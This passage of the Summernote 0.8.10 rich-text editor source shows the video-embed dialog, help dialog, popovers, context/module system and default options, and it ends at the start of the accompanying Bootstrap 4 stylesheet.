        var dmMatch = url.match(dmRegExp);
        var youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/;
        var youkuMatch = url.match(youkuRegExp);
        var qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/;
        var qqMatch = url.match(qqRegExp);
        var qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/;
        var qqMatch2 = url.match(qqRegExp2);
        var mp4RegExp = /^.+.(mp4|m4v)$/;
        var mp4Match = url.match(mp4RegExp);
        var oggRegExp = /^.+.(ogg|ogv)$/;
        var oggMatch = url.match(oggRegExp);
        var webmRegExp = /^.+.(webm)$/;
        var webmMatch = url.match(webmRegExp);
        var $video;
        if (ytMatch && ytMatch[1].length === 11) {
            var youtubeId = ytMatch[1];
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', '//www.youtube.com/embed/' + youtubeId)
                .attr('width', '640').attr('height', '360');
        }
        else if (igMatch && igMatch[0].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')
                .attr('width', '612').attr('height', '710')
                .attr('scrolling', 'no')
                .attr('allowtransparency', 'true');
        }
        else if (vMatch && vMatch[0].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', vMatch[0] + '/embed/simple')
                .attr('width', '600').attr('height', '600')
                .attr('class', 'vine-embed');
        }
        else if (vimMatch && vimMatch[3].length) {
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('src', '//player.vimeo.com/video/' + vimMatch[3])
                .attr('width', '640').attr('height', '360');
        }
        else if (dmMatch && dmMatch[2].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])
                .attr('width', '640').attr('height', '360');
        }
        else if (youkuMatch && youkuMatch[1].length) {
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('height', '498')
                .attr('width', '510')
                .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);
        }
        else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {
            var vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('height', '310')
                .attr('width', '500')
                .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&amp;auto=0');
        }
        else if (mp4Match || oggMatch || webmMatch) {
            $video = $$1('<video controls>')
                .attr('src', url)
                .attr('width', '640').attr('height', '360');
        }
        else {
            // this is not a known video link. Now what, Cat? Now what?
            return false;
        }
        $video.addClass('note-video-clip');
        return $video[0];
    };
    VideoDialog.prototype.show = function () {
        var _this = this;
        var text = this.context.invoke('editor.getSelectedText');
        this.context.invoke('editor.saveRange');
        this.showVideoDialog(text).then(function (url) {
            // [workaround] hide dialog before restore range for IE range focus
            _this.ui.hideDialog(_this.$dialog);
            _this.context.invoke('editor.restoreRange');
            // build node
            var $node = _this.createVideoNode(url);
            if ($node) {
                // insert video node
                _this.context.invoke('editor.insertNode', $node);
            }
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    /**
     * show image dialog
     *
     * @param {jQuery} $dialog
     * @return {Promise}
     */
    VideoDialog.prototype.showVideoDialog = function (text) {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $videoUrl = _this.$dialog.find('.note-video-url');
            var $videoBtn = _this.$dialog.find('.note-video-btn');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                $videoUrl.val(text).on('input', function () {
                    _this.ui.toggleBtn($videoBtn, $videoUrl.val());
                });
                if (!env.isSupportTouch) {
                    $videoUrl.trigger('focus');
                }
                $videoBtn.click(function (event) {
                    event.preventDefault();
                    deferred.resolve($videoUrl.val());
                });
                _this.bindEnterKey($videoUrl, $videoBtn);
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                $videoUrl.off('input');
                $videoBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        });
    };
    return VideoDialog;
}());

var HelpDialog = /** @class */ (function () {
    function HelpDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    HelpDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<p class="text-center">',
            '<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ',
            '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ',
            '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',
            '</p>'
        ].join('');
        this.$dialog = this.ui.dialog({
            title: this.lang.options.help,
            fade: this.options.dialogsFade,
            body: this.createShortcutList(),
            footer: body,
            callback: function ($node) {
                $node.find('.modal-body,.note-modal-body').css({
                    'max-height': 300,
                    'overflow': 'scroll'
                });
            }
        }).render().appendTo($container);
    };
    HelpDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    HelpDialog.prototype.createShortcutList = function () {
        var _this = this;
        var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
        return Object.keys(keyMap).map(function (key) {
            var command = keyMap[key];
            var $row = $$1('<div><div class="help-list-item"/></div>');
            $row.append($$1('<label><kbd>' + key + '</kdb></label>').css({
                'width': 180,
                'margin-right': 10
            })).append($$1('<span/>').html(_this.context.memo('help.' + command) || command));
            return $row.html();
        }).join('');
    };
    /**
     * show help dialog
     *
     * @return {Promise}
     */
    HelpDialog.prototype.showHelpDialog = function () {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                deferred.resolve();
            });
            _this.ui.showDialog(_this.$dialog);
        }).promise();
    };
    HelpDialog.prototype.show = function () {
        var _this = this;
        this.context.invoke('editor.saveRange');
        this.showHelpDialog().then(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    return HelpDialog;
}());

var AIR_MODE_POPOVER_X_OFFSET = 20;
var AirPopover = /** @class */ (function () {
    function AirPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.keyup summernote.mouseup summernote.scroll': function () {
                _this.update();
            },
            'summernote.disable summernote.change summernote.dialog.shown': function () {
                _this.hide();
            },
            'summernote.focusout': function (we, e) {
                // [workaround] Firefox doesn't support relatedTarget on focusout
                //  - Ignore hide action on focus out in FF.
                if (env.isFF) {
                    return;
                }
                if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(_this.$popover[0]))) {
                    _this.hide();
                }
            }
        };
    }
    AirPopover.prototype.shouldInitialize = function () {
        return this.options.airMode && !lists.isEmpty(this.options.popover.air);
    };
    AirPopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-air-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.air);
    };
    AirPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    AirPopover.prototype.update = function () {
        var styleInfo = this.context.invoke('editor.currentStyle');
        if (styleInfo.range && !styleInfo.range.isCollapsed()) {
            var rect = lists.last(styleInfo.range.getClientRects());
            if (rect) {
                var bnd = func.rect2bnd(rect);
                this.$popover.css({
                    display: 'block',
                    left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,
                    top: bnd.top + bnd.height
                });
                this.context.invoke('buttons.updateCurrentStyle', this.$popover);
            }
        }
        else {
            this.hide();
        }
    };
    AirPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return AirPopover;
}());

var POPOVER_DIST = 5;
var HintPopover = /** @class */ (function () {
    function HintPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.hint = this.options.hint || [];
        this.direction = this.options.hintDirection || 'bottom';
        this.hints = $$1.isArray(this.hint) ? this.hint : [this.hint];
        this.events = {
            'summernote.keyup': function (we, e) {
                if (!e.isDefaultPrevented()) {
                    _this.handleKeyup(e);
                }
            },
            'summernote.keydown': function (we, e) {
                _this.handleKeydown(e);
            },
            'summernote.disable summernote.dialog.shown': function () {
                _this.hide();
            }
        };
    }
    HintPopover.prototype.shouldInitialize = function () {
        return this.hints.length > 0;
    };
    HintPopover.prototype.initialize = function () {
        var _this = this;
        this.lastWordRange = null;
        this.$popover = this.ui.popover({
            className: 'note-hint-popover',
            hideArrow: true,
            direction: ''
        }).render().appendTo(this.options.container);
        this.$popover.hide();
        this.$content = this.$popover.find('.popover-content,.note-popover-content');
        this.$content.on('click', '.note-hint-item', function () {
            _this.$content.find('.active').removeClass('active');
            $$1(_this).addClass('active');
            _this.replace();
        });
    };
    HintPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    HintPopover.prototype.selectItem = function ($item) {
        this.$content.find('.active').removeClass('active');
        $item.addClass('active');
        this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);
    };
    HintPopover.prototype.moveDown = function () {
        var $current = this.$content.find('.note-hint-item.active');
        var $next = $current.next();
        if ($next.length) {
            this.selectItem($next);
        }
        else {
            var $nextGroup = $current.parent().next();
            if (!$nextGroup.length) {
                $nextGroup = this.$content.find('.note-hint-group').first();
            }
            this.selectItem($nextGroup.find('.note-hint-item').first());
        }
    };
    HintPopover.prototype.moveUp = function () {
        var $current = this.$content.find('.note-hint-item.active');
        var $prev = $current.prev();
        if ($prev.length) {
            this.selectItem($prev);
        }
        else {
            var $prevGroup = $current.parent().prev();
            if (!$prevGroup.length) {
                $prevGroup = this.$content.find('.note-hint-group').last();
            }
            this.selectItem($prevGroup.find('.note-hint-item').last());
        }
    };
    HintPopover.prototype.replace = function () {
        var $item = this.$content.find('.note-hint-item.active');
        if ($item.length) {
            var node = this.nodeFromItem($item);
            // XXX: consider to move codes to editor for recording redo/undo.
            this.lastWordRange.insertNode(node);
            range.createFromNode(node).collapse().select();
            this.lastWordRange = null;
            this.hide();
            this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);
            this.context.invoke('editor.focus');
        }
    };
    HintPopover.prototype.nodeFromItem = function ($item) {
        var hint = this.hints[$item.data('index')];
        var item = $item.data('item');
        var node = hint.content ? hint.content(item) : item;
        if (typeof node === 'string') {
            node = dom.createText(node);
        }
        return node;
    };
    HintPopover.prototype.createItemTemplates = function (hintIdx, items) {
        var hint = this.hints[hintIdx];
        return items.map(function (item, idx) {
            var $item = $$1('<div class="note-hint-item"/>');
            $item.append(hint.template ? hint.template(item) : item + '');
            $item.data({
                'index': hintIdx,
                'item': item
            });
            return $item;
        });
    };
    HintPopover.prototype.handleKeydown = function (e) {
        if (!this.$popover.is(':visible')) {
            return;
        }
        if (e.keyCode === key.code.ENTER) {
            e.preventDefault();
            this.replace();
        }
        else if (e.keyCode === key.code.UP) {
            e.preventDefault();
            this.moveUp();
        }
        else if (e.keyCode === key.code.DOWN) {
            e.preventDefault();
            this.moveDown();
        }
    };
    HintPopover.prototype.searchKeyword = function (index, keyword, callback) {
        var hint = this.hints[index];
        if (hint && hint.match.test(keyword) && hint.search) {
            var matches = hint.match.exec(keyword);
            hint.search(matches[1], callback);
        }
        else {
            callback();
        }
    };
    HintPopover.prototype.createGroup = function (idx, keyword) {
        var _this = this;
        var $group = $$1('<div class="note-hint-group note-hint-group-' + idx + '"/>');
        this.searchKeyword(idx, keyword, function (items) {
            items = items || [];
            if (items.length) {
                $group.html(_this.createItemTemplates(idx, items));
                _this.show();
            }
        });
        return $group;
    };
    HintPopover.prototype.handleKeyup = function (e) {
        var _this = this;
        if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {
            var wordRange = this.context.invoke('editor.createRange').getWordRange();
            var keyword_1 = wordRange.toString();
            if (this.hints.length && keyword_1) {
                this.$content.empty();
                var bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));
                if (bnd) {
                    this.$popover.hide();
                    this.lastWordRange = wordRange;
                    this.hints.forEach(function (hint, idx) {
                        if (hint.match.test(keyword_1)) {
                            _this.createGroup(idx, keyword_1).appendTo(_this.$content);
                        }
                    });
                    // select first .note-hint-item
                    this.$content.find('.note-hint-item:first').addClass('active');
                    // set position for popover after group is created
                    if (this.direction === 'top') {
                        this.$popover.css({
                            left: bnd.left,
                            top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST
                        });
                    }
                    else {
                        this.$popover.css({
                            left: bnd.left,
                            top: bnd.top + bnd.height + POPOVER_DIST
                        });
                    }
                }
            }
            else {
                this.hide();
            }
        }
    };
    HintPopover.prototype.show = function () {
        this.$popover.show();
    };
    HintPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return HintPopover;
}());

var Context = /** @class */ (function () {
    /**
     * @param {jQuery} $note
     * @param {Object} options
     */
    function Context($note, options) {
        this.ui = $$1.summernote.ui;
        this.$note = $note;
        this.memos = {};
        this.modules = {};
        this.layoutInfo = {};
        this.options = options;
        this.initialize();
    }
    /**
     * create layout and initialize modules and other resources
     */
    Context.prototype.initialize = function () {
        this.layoutInfo = this.ui.createLayout(this.$note, this.options);
        this._initialize();
        this.$note.hide();
        return this;
    };
    /**
     * destroy modules and other resources and remove layout
     */
    Context.prototype.destroy = function () {
        this._destroy();
        this.$note.removeData('summernote');
        this.ui.removeLayout(this.$note, this.layoutInfo);
    };
    /**
     * destory modules and other resources and initialize it again
     */
    Context.prototype.reset = function () {
        var disabled = this.isDisabled();
        this.code(dom.emptyPara);
        this._destroy();
        this._initialize();
        if (disabled) {
            this.disable();
        }
    };
    Context.prototype._initialize = function () {
        var _this = this;
        // add optional buttons
        var buttons = $$1.extend({}, this.options.buttons);
        Object.keys(buttons).forEach(function (key) {
            _this.memo('button.' + key, buttons[key]);
        });
        var modules = $$1.extend({}, this.options.modules, $$1.summernote.plugins || {});
        // add and initialize modules
        Object.keys(modules).forEach(function (key) {
            _this.module(key, modules[key], true);
        });
        Object.keys(this.modules).forEach(function (key) {
            _this.initializeModule(key);
        });
    };
    Context.prototype._destroy = function () {
        var _this = this;
        // destroy modules with reversed order
        Object.keys(this.modules).reverse().forEach(function (key) {
            _this.removeModule(key);
        });
        Object.keys(this.memos).forEach(function (key) {
            _this.removeMemo(key);
        });
        // trigger custom onDestroy callback
        this.triggerEvent('destroy', this);
    };
    Context.prototype.code = function (html) {
        var isActivated = this.invoke('codeview.isActivated');
        if (html === undefined) {
            this.invoke('codeview.sync');
            return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();
        }
        else {
            if (isActivated) {
                this.layoutInfo.codable.val(html);
            }
            else {
                this.layoutInfo.editable.html(html);
            }
            this.$note.val(html);
            this.triggerEvent('change', html);
        }
    };
    Context.prototype.isDisabled = function () {
        return this.layoutInfo.editable.attr('contenteditable') === 'false';
    };
    Context.prototype.enable = function () {
        this.layoutInfo.editable.attr('contenteditable', true);
        this.invoke('toolbar.activate', true);
        this.triggerEvent('disable', false);
    };
    Context.prototype.disable = function () {
        // close codeview if codeview is opend
        if (this.invoke('codeview.isActivated')) {
            this.invoke('codeview.deactivate');
        }
        this.layoutInfo.editable.attr('contenteditable', false);
        this.invoke('toolbar.deactivate', true);
        this.triggerEvent('disable', true);
    };
    Context.prototype.triggerEvent = function () {
        var namespace = lists.head(arguments);
        var args = lists.tail(lists.from(arguments));
        var callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];
        if (callback) {
            callback.apply(this.$note[0], args);
        }
        this.$note.trigger('summernote.' + namespace, args);
    };
    Context.prototype.initializeModule = function (key) {
        var module = this.modules[key];
        module.shouldInitialize = module.shouldInitialize || func.ok;
        if (!module.shouldInitialize()) {
            return;
        }
        // initialize module
        if (module.initialize) {
            module.initialize();
        }
        // attach events
        if (module.events) {
            dom.attachEvents(this.$note, module.events);
        }
    };
    Context.prototype.module = function (key, ModuleClass, withoutIntialize) {
        if (arguments.length === 1) {
            return this.modules[key];
        }
        this.modules[key] = new ModuleClass(this);
        if (!withoutIntialize) {
            this.initializeModule(key);
        }
    };
    Context.prototype.removeModule = function (key) {
        var module = this.modules[key];
        if (module.shouldInitialize()) {
            if (module.events) {
                dom.detachEvents(this.$note, module.events);
            }
            if (module.destroy) {
                module.destroy();
            }
        }
        delete this.modules[key];
    };
    Context.prototype.memo = function (key, obj) {
        if (arguments.length === 1) {
            return this.memos[key];
        }
        this.memos[key] = obj;
    };
    Context.prototype.removeMemo = function (key) {
        if (this.memos[key] && this.memos[key].destroy) {
            this.memos[key].destroy();
        }
        delete this.memos[key];
    };
    /**
     * Some buttons need to change their visual style immediately once they get pressed
     */
    Context.prototype.createInvokeHandlerAndUpdateState = function (namespace, value) {
        var _this = this;
        return function (event) {
            _this.createInvokeHandler(namespace, value)(event);
            _this.invoke('buttons.updateCurrentStyle');
        };
    };
    Context.prototype.createInvokeHandler = function (namespace, value) {
        var _this = this;
        return function (event) {
            event.preventDefault();
            var $target = $$1(event.target);
            _this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);
        };
    };
    Context.prototype.invoke = function () {
        var namespace = lists.head(arguments);
        var args = lists.tail(lists.from(arguments));
        var splits = namespace.split('.');
        var hasSeparator = splits.length > 1;
        var moduleName = hasSeparator && lists.head(splits);
        var methodName = hasSeparator ? lists.last(splits) : lists.head(splits);
        var module = this.modules[moduleName || 'editor'];
        if (!moduleName && this[methodName]) {
            return this[methodName].apply(this, args);
        }
        else if (module && module[methodName] && module.shouldInitialize()) {
            return module[methodName].apply(module, args);
        }
    };
    return Context;
}());

$$1.fn.extend({
    /**
     * Summernote API
     *
     * @param {Object|String}
     * @return {this}
     */
    summernote: function () {
        var type = $$1.type(lists.head(arguments));
        var isExternalAPICalled = type === 'string';
        var hasInitOptions = type === 'object';
        var options = $$1.extend({}, $$1.summernote.options, hasInitOptions ? lists.head(arguments) : {});
        // Update options
        options.langInfo = $$1.extend(true, {}, $$1.summernote.lang['en-US'], $$1.summernote.lang[options.lang]);
        options.icons = $$1.extend(true, {}, $$1.summernote.options.icons, options.icons);
        options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;
        this.each(function (idx, note) {
            var $note = $$1(note);
            if (!$note.data('summernote')) {
                var context = new Context($note, options);
                $note.data('summernote', context);
                $note.data('summernote').triggerEvent('init', context.layoutInfo);
            }
        });
        var $note = this.first();
        if ($note.length) {
            var context = $note.data('summernote');
            if (isExternalAPICalled) {
                return context.invoke.apply(context, lists.from(arguments));
            }
            else if (options.focus) {
                context.invoke('editor.focus');
            }
        }
        return this;
    }
});

$$1.summernote = $$1.extend($$1.summernote, {
    version: '0.8.10',
    ui: ui,
    dom: dom,
    plugins: {},
    options: {
        modules: {
            'editor': Editor,
            'clipboard': Clipboard,
            'dropzone': Dropzone,
            'codeview': CodeView,
            'statusbar': Statusbar,
            'fullscreen': Fullscreen,
            'handle': Handle,
            // FIXME: HintPopover must be front of autolink
            //  - Script error about range when Enter key is pressed on hint popover
            'hintPopover': HintPopover,
            'autoLink': AutoLink,
            'autoSync': AutoSync,
            'placeholder': Placeholder,
            'buttons': Buttons,
            'toolbar': Toolbar,
            'linkDialog': LinkDialog,
            'linkPopover': LinkPopover,
            'imageDialog': ImageDialog,
            'imagePopover': ImagePopover,
            'tablePopover': TablePopover,
            'videoDialog': VideoDialog,
            'helpDialog': HelpDialog,
            'airPopover': AirPopover
        },
        buttons: {},
        lang: 'en-US',
        followingToolbar: true,
        otherStaticBar: '',
        // toolbar
        toolbar: [
            ['style', ['style']],
            ['font', ['bold', 'underline', 'clear']],
            ['fontname', ['fontname']],
            ['color', ['color']],
            ['para', ['ul', 'ol', 'paragraph']],
            ['table', ['table']],
            ['insert', ['link', 'picture', 'video']],
            ['view', ['fullscreen', 'codeview', 'help']]
        ],
        // popover
        popatmouse: true,
        popover: {
            image: [
                ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
                ['float', ['floatLeft', 'floatRight', 'floatNone']],
                ['remove', ['removeMedia']]
            ],
            link: [
                ['link', ['linkDialogShow', 'unlink']]
            ],
            table: [
                ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
                ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
            ],
            air: [
                ['color', ['color']],
                ['font', ['bold', 'underline', 'clear']],
                ['para', ['ul', 'paragraph']],
                ['table', ['table']],
                ['insert', ['link', 'picture']]
            ]
        },
        // air mode: inline editor
        airMode: false,
        width: null,
        height: null,
        linkTargetBlank: true,
        focus: false,
        tabSize: 4,
        styleWithSpan: true,
        shortcuts: true,
        textareaAutoSync: true,
        hintDirection: 'bottom',
        tooltip: 'auto',
        container: 'body',
        maxTextLength: 0,
        styleTags: ['p', 'blockquote', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'],
        fontNames: [
            'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',
            'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',
            'Tahoma', 'Times New Roman', 'Verdana'
        ],
        fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],
        // pallete colors(n x n)
        colors: [
            ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],
            ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],
            ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],
            ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],
            ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],
            ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],
            ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],
            ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']
        ],
        // http://chir.ag/projects/name-that-color/
        colorsName: [
            ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],
            ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],
            ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],
            ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],
            ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],
            ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],
            ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],
            ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']
        ],
        lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],
        tableClassName: 'table table-bordered',
        insertTableMaxSize: {
            col: 10,
            row: 10
        },
        dialogsInBody: false,
        dialogsFade: false,
        maximumImageFileSize: null,
        callbacks: {
            onInit: null,
            onFocus: null,
            onBlur: null,
            onBlurCodeview: null,
            onEnter: null,
            onKeyup: null,
            onKeydown: null,
            onImageUpload: null,
            onImageUploadError: null
        },
        codemirror: {
            mode: 'text/html',
            htmlMode: true,
            lineNumbers: true
        },
        keyMap: {
            pc: {
                'ENTER': 'insertParagraph',
                'CTRL+Z': 'undo',
                'CTRL+Y': 'redo',
                'TAB': 'tab',
                'SHIFT+TAB': 'untab',
                'CTRL+B': 'bold',
                'CTRL+I': 'italic',
                'CTRL+U': 'underline',
                'CTRL+SHIFT+S': 'strikethrough',
                'CTRL+BACKSLASH': 'removeFormat',
                'CTRL+SHIFT+L': 'justifyLeft',
                'CTRL+SHIFT+E': 'justifyCenter',
                'CTRL+SHIFT+R': 'justifyRight',
                'CTRL+SHIFT+J': 'justifyFull',
                'CTRL+SHIFT+NUM7': 'insertUnorderedList',
                'CTRL+SHIFT+NUM8': 'insertOrderedList',
                'CTRL+LEFTBRACKET': 'outdent',
                'CTRL+RIGHTBRACKET': 'indent',
                'CTRL+NUM0': 'formatPara',
                'CTRL+NUM1': 'formatH1',
                'CTRL+NUM2': 'formatH2',
                'CTRL+NUM3': 'formatH3',
                'CTRL+NUM4': 'formatH4',
                'CTRL+NUM5': 'formatH5',
                'CTRL+NUM6': 'formatH6',
                'CTRL+ENTER': 'insertHorizontalRule',
                'CTRL+K': 'linkDialog.show'
            },
            mac: {
                'ENTER': 'insertParagraph',
                'CMD+Z': 'undo',
                'CMD+SHIFT+Z': 'redo',
                'TAB': 'tab',
                'SHIFT+TAB': 'untab',
                'CMD+B': 'bold',
                'CMD+I': 'italic',
                'CMD+U': 'underline',
                'CMD+SHIFT+S': 'strikethrough',
                'CMD+BACKSLASH': 'removeFormat',
                'CMD+SHIFT+L': 'justifyLeft',
                'CMD+SHIFT+E': 'justifyCenter',
                'CMD+SHIFT+R': 'justifyRight',
                'CMD+SHIFT+J': 'justifyFull',
                'CMD+SHIFT+NUM7': 'insertUnorderedList',
                'CMD+SHIFT+NUM8': 'insertOrderedList',
                'CMD+LEFTBRACKET': 'outdent',
                'CMD+RIGHTBRACKET': 'indent',
                'CMD+NUM0': 'formatPara',
                'CMD+NUM1': 'formatH1',
                'CMD+NUM2': 'formatH2',
                'CMD+NUM3': 'formatH3',
                'CMD+NUM4': 'formatH4',
                'CMD+NUM5': 'formatH5',
                'CMD+NUM6': 'formatH6',
                'CMD+ENTER': 'insertHorizontalRule',
                'CMD+K': 'linkDialog.show'
            }
        },
        icons: {
            'align': 'note-icon-align',
            'alignCenter': 'note-icon-align-center',
            'alignJustify': 'note-icon-align-justify',
            'alignLeft': 'note-icon-align-left',
            'alignRight': 'note-icon-align-right',
            'rowBelow': 'note-icon-row-below',
            'colBefore': 'note-icon-col-before',
            'colAfter': 'note-icon-col-after',
            'rowAbove': 'note-icon-row-above',
            'rowRemove': 'note-icon-row-remove',
            'colRemove': 'note-icon-col-remove',
            'indent': 'note-icon-align-indent',
            'outdent': 'note-icon-align-outdent',
            'arrowsAlt': 'note-icon-arrows-alt',
            'bold': 'note-icon-bold',
            'caret': 'note-icon-caret',
            'circle': 'note-icon-circle',
            'close': 'note-icon-close',
            'code': 'note-icon-code',
            'eraser': 'note-icon-eraser',
            'font': 'note-icon-font',
            'frame': 'note-icon-frame',
            'italic': 'note-icon-italic',
            'link': 'note-icon-link',
            'unlink': 'note-icon-chain-broken',
            'magic': 'note-icon-magic',
            'menuCheck': 'note-icon-menu-check',
            'minus': 'note-icon-minus',
            'orderedlist': 'note-icon-orderedlist',
            'pencil': 'note-icon-pencil',
            'picture': 'note-icon-picture',
            'question': 'note-icon-question',
            'redo': 'note-icon-redo',
            'square': 'note-icon-square',
            'strikethrough': 'note-icon-strikethrough',
            'subscript': 'note-icon-subscript',
            'superscript': 'note-icon-superscript',
            'table': 'note-icon-table',
            'textHeight': 'note-icon-text-height',
            'trash': 'note-icon-trash',
            'underline': 'note-icon-underline',
            'undo': 'note-icon-undo',
            'unorderedlist': 'note-icon-unorderedlist',
            'video': 'note-icon-video'
        }
    }
});

})));
//# sourceMappingURL=summernote.js.map
summernote-bs4.css000064400000042414151677331550010164 0ustar00@font-face{font-family:"summernote";font-style:normal;font-weight:normal;src:url("./font/summernote.eot?dbafe969167589eda84514394d126413");src:url("./font/summernote.eot?#iefix") format("embedded-opentype"),url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype")}[class^="note-icon-"]:before,[class*=" note-icon-"]:before{display:inline-block;font:normal normal normal 14px summernote;font-size:inherit;-webkit-font-smoothing:antialiased;text-decoration:inherit;text-rendering:auto;text-transform:none;vertical-align:middle;speak:none;-moz-osx-font-smoothing:grayscale}.note-icon-align-center:before,.note-icon-align-indent:before,.note-icon-align-justify:before,.note-icon-align-left:before,.note-icon-align-outdent:before,.note-icon-align-right:before,.note-icon-align:before,.note-icon-arrow-circle-down:before,.note-icon-arrow-circle-left:before,.note-icon-arrow-circle-right:before,.note-icon-arrow-circle-up:before,.note-icon-arrows-alt:before,.note-icon-arrows-h:before,.note-icon-arrows-v:before,.note-icon-bold:before,.note-icon-caret:before,.note-icon-chain-broken:before,.note-icon-circle:before,.note-icon-close:before,.note-icon-code:before,.note-icon-col-after:before,.note-icon-col-before:before,.note-icon-col-remove:before,.note-icon-eraser:before,.note-icon-font:before,.note-icon-frame:before,.note-icon-italic:before,.note-icon-link:before,.note-icon-magic:before,.note-icon-menu-check:before,.note-icon-minus:before,.note-icon-orderedlist:before,.note-icon-pencil:before,.note-icon-picture:before,.note-icon-question:before,.note-icon-redo:before,.note-icon-row-above:before,.note-icon-row-below:before,.note-icon-row-remove:before,.note-icon-special-character:b